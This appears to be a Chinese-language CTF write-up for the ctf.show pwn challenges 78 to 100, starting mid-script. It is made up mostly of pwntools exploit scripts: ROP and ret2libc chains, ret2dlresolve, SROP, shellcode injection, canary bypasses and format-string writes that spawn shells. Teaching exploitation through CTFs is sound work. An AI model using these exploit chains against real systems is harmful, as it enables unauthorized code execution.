payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))

payload=cyclic(0x110-4)+p32(0x10d)+b'aaaaaaaa'+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
io.sendline(payload)

io.interactive()

pwn78

64位ret2syscall的多系统调用

from pwn import*
io=remote('pwn.challenge.ctf.show',28149)

bss=0x06C1C60
rax=0x046b9f8
rdi=0x04016c3
rdx_rsi=0x04377f9
syscall=0x45bac5
payload=cyclic(0x50+8)+p64(rax)+p64(0)+p64(rdi)+p64(0)+p64(rdx_rsi)+p64(0x10)+p64(bss)+p64(syscall)
payload+=p64(rax)+p64(0x3b)+p64(rdi)+p64(bss)+p64(rdx_rsi)+p64(0)+p64(0)+p64(syscall)

io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()

pwn79

打ret2reg

from pwn import*
io=remote('pwn.challenge.ctf.show',28259)

call_eax=0x080484a0
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x208,b'a')+b'aaaa'+p32(call_eax)
io.sendline(payload)

io.interactive()

pwn80

打BROP

pwn81

简单的栈溢出,只需注意接收地址即可。

from pwn import*
elf=ELF('./pwn81')
libc=ELF('./pwn81libc.so')
io=remote('pwn.challenge.ctf.show',28243)

io.recvuntil('simple,O.o\n')
system=int(io.recvline(),16)
print(system)

libc_base=system-libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
rdi=libc_base+0x02164f
ret=libc_base+0x008aa

payload=cyclic(0x80+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0)
io.sendline(payload)

io.interactive()

pwn82

打ret2dlresolve,因为是No RELRO,因此可以修改.dynamic节

from pwn import*
io=remote('pwn.challenge.ctf.show',28160)
elf=ELF('./pwn82')
rop=ROP('./pwn82')

elf_strtab=0x08049804
bss=0x080498E0
read_plt_first=0x08048376

io.recvuntil('Welcome to CTFshowPWN!\n')
rop.raw(b'a'*112)
rop.read(0,elf_strtab+4,4)

dynstr=elf.get_section_by_name('.dynstr').data()
dynstr=dynstr.replace(b'read',b'system')
rop.read(0,bss,len(dynstr))

rop.read(0,bss+0x100,len('/bin/sh\x00'))

rop.raw(read_plt_first)
rop.raw(0xdeafbeef)
rop.raw(bss+0x100)

assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))

io.send(rop.chain())
io.send(p32(bss))
io.send(dynstr)
io.send(b'/bin/sh\x00')

io.interactive()

pwn83

开启了Partial RELRO,因此.dynamic节不可写了,可以伪造重定位表项来获取目标函数。

基于工具:

from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28126)
elf = ELF('./pwn83')
rop = ROP('./pwn83')
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io.recvuntil("Welcome to CTFshowPWN!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

pwn84

64位的ret2dlresolve,No RELRO

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwn84")
io = remote('pwn.challenge.ctf.show',28124)

bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret = 0x40063c
pop_rbp = 0x400588
show = 0x400607
pop_rsi_r15 = 0x400771
pop_rdi = 0x400773
read_plt0=0x400516
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'a'*0x38
return payload
io.recvuntil(b"Welcome to CTFshowPWN!\n")
stack_size = 0x200
new_stack = bss_addr + 0x100
rop = ROP('./pwn84')
offset = 112 + 8
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,0x600988+8,8))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(bss_addr+0x100))

#fake dynstr
rop = ROP("./pwn84")
rop.raw(b'a'*offset)
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100,len(dynstr)))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)

#read /bin/sh
rop = ROP("./pwn84")
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100+len(dynstr),len(b"/bin/sh\x00")))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(b'/bin/sh\x00')

rop = ROP("./pwn84")
rop.raw(b'a'*offset)
rop.raw(pop_rsi_r15)
rop.raw(0)
rop.raw(0)
rop.raw(pop_rdi)
rop.raw(bss_addr+0x100+len(dynstr))
rop.raw(read_plt0)
rop.raw(0)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

pwn85

64位的ret2dlresolve,Partial RELRO

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./pwn85")
io = remote('pwn.challenge.ctf.show',28117)
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
show = 0x400637

pop_rdi = 0x4007a3
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'\x00'*0x38
return payload
def ret2dlresolve_x64(elf,store_addr,func_name,resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr

relaent = elf.dynamic_value_by_tag("DT_RELAENT") #重定位表大小

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") #符号表大小

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


# 创造fake函数字符
func_string_addr = store_addr
resolve_data = func_name + b"\x00"

# 创造fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)//24
resolve_data += b'\x00'*pad
resolve_data += symbol

#创造fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset%relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)//24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data += b'\x00'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data,resolve_call


io.recvuntil("Welcome to CTFshowPWN!\n")
store_addr = bss_addr + 0x100
sh = b"/bin/sh\x00"

#创造fake string,symbol,修改.dynamic部分中的.dynstr指针到特定位置。
rop = ROP("./pwn85")
offset = 112+8
rop.raw(b'\x00'*offset)
resolve_data,resolve_call = ret2dlresolve_x64(elf,store_addr,b"system",elf.got['write'])
rop.raw(csu(0,1,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())

io.send(resolve_data+sh)

bin_sh_addr = store_addr + len(resolve_data)

#泄露link_map addr
rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['write'],1,0x601008,8))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))

# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(show)
io.sendline(rop.chain())
sleep(1)
io.send(p64(0))

rop = ROP('./pwn85')
rop.raw(b'\x00'*offset)
rop.raw(pop_rdi)
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
io.send(rop.chain())
io.interactive()

pwn86

打SROP

from pwn import*
context(arch='amd64',os='linux')
elf=ELF('./pwn86')
io=remote('pwn.challenge.ctf.show',28285)

str_bin_sh_offset=0x100

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
io.send(bytes(frame).ljust(str_bin_sh_offset, b'a') + b'/bin/sh\x00')

io.interactive()

pwn87

花式栈溢出,控制esp执行shellcode

from pwn import*
io=remote('pwn.challenge.ctf.show',28115)

jmp_esp=0x08048d17
set_jmp_esp='''
sub esp,0x28;
jmp esp;
'''
set_jmp_esp=asm(set_jmp_esp)
shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" #21字节shellcode

payload=shellcode.ljust(0x24,b'a')+p32(jmp_esp)+set_jmp_esp
io.recvuntil(b'name?')
io.sendline(payload)
io.interactive()

pwn88

先一字节读写,修改text跳转,改指令为jmp再写入shellcode,再跳转到shellcode并执行。

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28272)

text = 0x400767

def writeData(addr,data):
io.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,b'\x00')))
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,b'\x00')))
shellcode=asm(shellcraft.sh())
shellcode_addr = 0x400769
i = 0
for x in shellcode:
data = x
writeData(shellcode_addr+i,str(data))
i=i+1
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,b'\x00')))

io.interactive()

pwn89

劫持TLS绕过canary,前提:溢出字节足够大,通常至少4K,创建一个线程,在线程内栈溢出。原理:在开启canary的情况下,当程序在创建线程的时候,会创建一个TLS(Thread Local Storage),这个TLS会存储canary的值,而TLS会保存在stack高地址的地方。

那么,当我们溢出足够大的字节覆盖到TLS所在的地方,就可以控制TLS结构体,进而控制canary到我们想要的值,实现ROP。

from pwn import*
elf=ELF('./pwn89')
libc=ELF('./pwn89libc.so')
io=remote('pwn.challenge.ctf.show',28111)

bss=0x0602010
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.plt['read']
rdi=0x0400be3
rsi_r15=0x0400be1
ret=0x04006be
leave_ret=0x040098c

payload=b'a'*0x1010+p64(bss-0x8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0)+p64(read_plt)+p64(leave_ret)
payload=payload.ljust(0x2000,b'a')

io.sendlineafter("send:",str(0x2000))
io.send(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc_base=puts-libc.sym['puts']

one_gadget=libc_base+0x10a2fc
io.sendline(p64(one_gadget))

io.interactive()

pwn90

泄漏canary的值再修改返回地址到后门函数。

from pwn import*
io=remote('pwn.challenge.ctf.show',28302)

io.sendlineafter("CTFshow:",b'a'*40)
io.recvuntil('a'*40)
canary=u64(io.recv(8))-0xa

print(hex(canary))

payload=cyclic(40)+p64(canary)+p64(0)+b'\x42'
io.send(payload)

io.interactive()

格式化字符串漏洞

pwn91

简单的格式化字符串漏洞。利用漏洞向目标地址写入数据

from pwn import*
io=remote('pwn.challenge.ctf.show',28259)

daniu=0x0804B038
payload=fmtstr_payload(7,{daniu:6})
io.sendline(payload)

io.interactive()

pwn92

存在格式化字符串漏洞,直接输入%s获得flag即可。

pwn93

也简单的介绍了格式化字符串的一些东西,当然想要获得flag很容易,直接输入7即可。

pwn94

存在格式化字符串漏洞,且存在system函数,由于输入长度有限,因此无法造成栈溢出。那么就可以利用格式化字符串漏洞实现任意写,将printf.got指向的地址改为system.plt,这样一来当再次执行printf()时,就相当于执行system()。

from pwn import*
elf=ELF('./pwn94')
io=remote('pwn.challenge.ctf.show',28256)

printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload=fmtstr_payload(6,{printf_got:system_plt})
io.sendline(payload)

io.send(b'/bin/sh\x00')

io.interactive()

pwn95

这道题没有使用system函数,就不能直接利用system.plt,因此先泄漏libc,再用跟pwn94一样的攻击手法。

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn95')
io=remote('pwn.challenge.ctf.show',28139)

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']

payload1=p32(printf_got)+b'%6$s'
io.send(payload1)

printf=u32(io.recvuntil('\xf7')[-4:])
print(hex(printf))

libc=LibcSearcher('printf',printf)
libc_base=printf-libc.dump('printf')
system=libc_base+libc.dump('system')

payload2=fmtstr_payload(6,{printf_got:system})
io.send(payload2)

io.send(b'/bin/sh\x00')

io.interactive()

pwn96

存在格式化字符串漏洞,看一下flag字符串的偏移

看出来偏移为6~18,由于是小端序,因此逆序输出。

from pwn import*
io=remote('pwn.challenge.ctf.show',28226)
flag=b''
for i in range(6,6+12):
payload='%{}$p'.format(str(i))
io.sendlineafter("$ ",payload)
aim=unhex(io.recvuntil('\n',drop=True).replace(b'0x',b''))
flag+=aim[::-1]
print(flag)

io.interactive()

pwn97

一道简单的利用格式化字符串任意写的题。

from pwn import*
io=remote("pwn.challenge.ctf.show",28244)

check=0x0804B040
payload=fmtstr_payload(11,{check:1})
io.sendline(payload)

io.interactive()

pwn98

存在canary,但可以通过printf泄漏canary的值,从而绕过canary保护,且存在后门函数

from pwn import*
io=remote('pwn.challenge.ctf.show',28195)

backdoor=0x80486CE

payload=b'%15$x'
io.recv()
io.sendline(payload)
canary=int(io.recv(),16)
print(hex(canary))

payload=cyclic(0x28)+p32(canary)+b'a'*0xc+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn99

fmt盲打

知道flag在栈上,且存在格式化字符串漏洞,因此可以利用该漏洞泄漏flag

from pwn import*

def exploit(payload):
io=remote('pwn.challenge.ctf.show',28307)
io.recv()
io.sendline(payload)
data=io.recvuntil(b'\n',drop=True)
if data.startswith(b'0x'):
print(p64(int(data,16)))
io.close()

i=1
while 1:
payload='%{}$p'.format(str(i))
exploit(payload)
i+=1
print(i)

pwn100

一道菜单题目,存在几个函数与后门函数,开启了NX、canary、PIE保护,因此大致思路就是泄漏基地址再修改某函数返回地址为后面函数,直接获得flag。

首先是输入时间并打印出来,没有可利用的格式化漏洞

存在格式化字符串漏洞利用,但是只能使用一次,因此需要利用该漏洞将a1的值改为0,从而能一直利用该漏洞,那么就需要找到a1的偏移

从汇编可以看出,a1在rbp-0x48的位置,利用gdb算出偏移为7

因此可以利用%7$n,将a1的值改为0。因为我们将%7$n放在开头,在其之前并没有打印出任何字符,所以个数为0,通过%7$n将这个0写入到a1中,这样一来就可以不断利用该漏洞了。

因为开启了PIE保护,需要泄漏基址以及返回地址

在这里可以看到栈上的rbp存放着main函数的rbp,在rbp+0x8存放着fmt_attack原本的返回地址,因此先泄漏main的rbp算出fmt_attack函数存放返回地址的地址,再泄漏原本的返回地址算出基地址并算出后门函数,最后修改即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28122)
#io=process('./pwn100')

io.sendline(b'1 1 1')

def fmt(payload):
io.sendlineafter(">>",b"2")
io.sendline(payload)

payload1=b'%7$n-%17$p'
fmt(payload1)
io.recvuntil(b'-')
ret_value=int(io.recvuntil('\n')[:-1],16)
print(hex(ret_value))
base_addr=ret_value-0x102c

payload2=b'%7$n-%16$p'
fmt(payload2)
io.recvuntil(b'-')
ret_addr=int(io.recvuntil('\n')[:-1],16)-0x28
print(hex(ret_addr))

payload3=b'%'+str((base_addr+0xf56)&0xffff).encode()+b'c%10$hn'
payload3=payload3.ljust(0x10,b'a')
payload3=payload3+p64(ret_addr)

fmt(payload3)

io.interactive()